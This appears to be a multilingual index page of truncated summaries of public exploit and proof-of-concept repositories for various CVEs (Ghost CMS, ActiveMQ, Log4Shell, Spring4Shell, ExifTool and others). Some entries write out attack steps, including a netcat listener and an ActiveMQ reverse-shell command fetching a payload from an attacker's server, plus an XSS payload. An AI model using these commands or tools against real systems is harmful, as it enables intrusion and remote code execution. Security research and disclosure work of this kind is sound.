Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit es un script de Python. Este script primero realiza intentos de autenticación por fuerza bruta utilizando las listas de palabras proporcionadas. Si se encuentran credenciales válidas, procede a verificar la vulnerabilidad CVE-2024-23724 y genera un payload de...

cPanel-CVE-2023-29489

PoC para cPanel CVE-2023-29489 XSS Payload...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 漏洞利用 - 任意代码执行 漏洞利用说明 使用此漏洞利用工具可生成一个JPEG图片载荷，该载荷可用于存在漏洞的ExifTool版本，实现代码执行。可提供自定义命令，或生成一个反弹shell。工具会自动生成一个JPEG图片，也可以选择提供自定义的JPEG图片，将载荷插入其中。...

CVE-2023-46604

CVE-2023-46604 构建docker-compose，其中包含两个镜像：受害机与目标机，按所需环境配置 在受害机上，启动ActiveMQ 切换到攻击机： • 开启HTTP服务以发送poc： python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷，建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中： Exploit.py：漏洞利用代码文件 -i...

Exploit-For-CVE-2022-36067

Exploit-For-CVE-2022-36067 此仓库包含针对 CVE-2022-36067 的 payload 如何利用？ 将 payload.js 中的 payload 与你想要运行的命令一起粘贴。 在本地机器上测试。 要在本地机器上测试，请 git clone 该仓库，安装依赖项并使用 node 运行 app.js。 如果应用程序存在漏洞，代码将成功执行。如果没有，则会抛出类似如下的错误： TypeError: Cannot read properties of undefined reading 'mainModule' Use node --trace-uncaught...

CVE-2026-75939

A flaw was found in openshift/oc-mirror. The tool incorrectly verifies PGP Pretty Good Privacy release image signatures by checking for signature errors before the entire signed body is processed, leading to a bypass of the signature verification. A remote attacker, by intercepting or manipulatin...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell 作为安全研究的一部分，旨在实现漏洞补丁的 PoC 概述 root@kitploit: 在本仓库中，我将涵盖多个主题和实现， 这些内容提供了关于 Log4J 2.17.0 漏洞的概念验证。 主要目标是提供 CVE-2021-44228 的补丁，并确保 通过 Header 和/或 Body 载荷实现 JNDI RCE 绕过。 因此， 我将为本 PoC 提供两种类型的应用程序： 1. 存在漏洞的 Apache J2EE 应用程序。 2. 已打补丁的 Apache J2EE 应用程序。...

CVE-2022-35649

CVE-2022-35649 载荷生成器（使用 Python 2）及 CVE-2022-35649 的详细分析 该 Python PoC 在利用 GhostScript 9.50 的 0-day 漏洞时生成载荷。该 0-day 漏洞影响 Ubuntu 仓库默认设置下的 ImageMagick（已在 Ubuntu 20.04 上使用 ImageMagick 默认设置测试）。 本项目仅用于教育目的，不得用于违法活动或个人牟利。 本项目作者对因使用本项目材料可能造成的任何损害不承担责任。 查看详细分析，点击这里。...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935 的 Python 漏洞利用程序 CVE-2022-23935 的分阶段反向 Shell Payload 生成器 示例 root@kitploit: cve-2022-23935 10.10.16.3 44444 用法 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip 用于回调的 IP 地址/主机 port 用于回调的端口号 options: -h, --help 显示此帮助信息并退出 ...

DNSlivery

DNSlivery Entrega sencilla de archivos y payloads a través de DNS. DNSlivery Agradecimientos Descripción TL;DR ¿Qué problema intenta resolver? ¿Cómo funciona? Requisitos Configuración Zona DNS DNSlivery Uso Servidor Objetivo Agradecimientos Este proyecto fue inspirado originalmente por PowerDNS y...

lazylist-cve-poc

Generador de payloads para CVE-2022-36944 Este mini-proyecto se ha creado para demostrar la prueba de concepto de la vulnerabilidad CVE-2022-36944. Es similar a ysoserial, pero genera payload únicamente para esta CVE con la clase LazyList. FAQ rápida ¿Qué artefactos traen la vulnerabilidad?...

CVE-2022-21894-Payload

Este es un ejemplo simple de carga útil para CVE-2022-21894 que demuestra cómo un atacante podría mapear una carga útil de segunda etapa para poder llamar a servicios EFI. Se puede ver un informe sobre esta vulnerabilidad aquí: https://github.com/Wack0/CVE-2022-21894. El código en este repositori...

CVE-2024-4439

CVE-2024-4439 CVE-2024-4439 docker and poc 靶场设置 启动docker容器后还需要一些设置 访问127.0.0.1:8080，完成配置后 在后台-外观-主题中，选中一个主题，自定义，进行设置 进入设计-模版-单篇文章 右边选中头像，进入主题编辑器 先点击头像，然后右上方点击设置，右方有两个属性，链接到用户个人资料和在新窗口打开，把两个按钮勾选上 发布任意文章后，就可以进行评论，在评论中把作者的名字换成xss恶意语句 " onmouseover="alert1" 参考 CVE-2024-4439 Wordpress XSS存储型漏洞复现 - 先知社...

FollinaExtractor

FollinaExtractor Extrae URLs de payload de archivos docx y rtf de Follina CVE-2022-30190 usage: extractfollina.py -f C:\path\to\file.rtf...

CVE-2021-26295

CVE-2021-26295-POC 利用DNSlog进行CVE-2021-26295的漏洞验证。 使用 poc: 将目标放于 target.txt 后运行python poc.py即可。（Jdk环境需12，否则ysoserial不能正常生成payload） exp: python exp.py https://baidu.com 然后进入命令执行界面（无回显） 仅供学习交流，请勿用于其他用途。...

CVE-2023-21707

CVE-2023-21707 Exchange 反序列化payload生成 root@kitploit: .\ConsoleApp1.exe "calc"...

spring4shell_behinder

Spring4shellbehinder 这是什么? 一个针对spring4shell漏洞CVE-2022-22965的批量快速利用工具 贡献者 4nth0ny @星期五实验室 欢迎提issues/pr : 环境 python 3.x Behinder3.0 Beta9 安装 root@kitploit: python3 -m pip install -r requirements.txt 用法 root@kitploit: python3 springrce.py test.txt test.txt root@kitploit: http://127.0.0.1:8080/...

CVE-2022-2992

CVE-2022-2992 通过GitHub导入在Gitlab中进行经过身份验证的远程命令执行。 一个影响GitLab CE/EE的漏洞，影响版本从11.10到15.1.6之前，所有从15.2开始到15.2.4之前的版本，以及所有从15.3开始到15.3.2之前的版本。该漏洞允许经过身份验证的用户通过"从GitHub API导入"端点实现远程代码执行。...

CVE-2017-11882-metasploit

CVE-2017-11882-metasploit 这是一个利用 CVE-2017-11882 漏洞的 Metasploit 模块，基于以下 POC： https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. 安装 1. 将 cve201711882.rb 复制到 /usr/share/metasploit-framework/modules/exploits/windows/local/ 2. 将 cve-2017-11882.rtf 复制到...

Group Policy hijacked: PAYLOAD ransomware weaponizes Active Directory GPO

Executive summary In April 2026, we at Kaspersky's Global Emergency Response Team GERT responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization's Active Directory environment and authored a...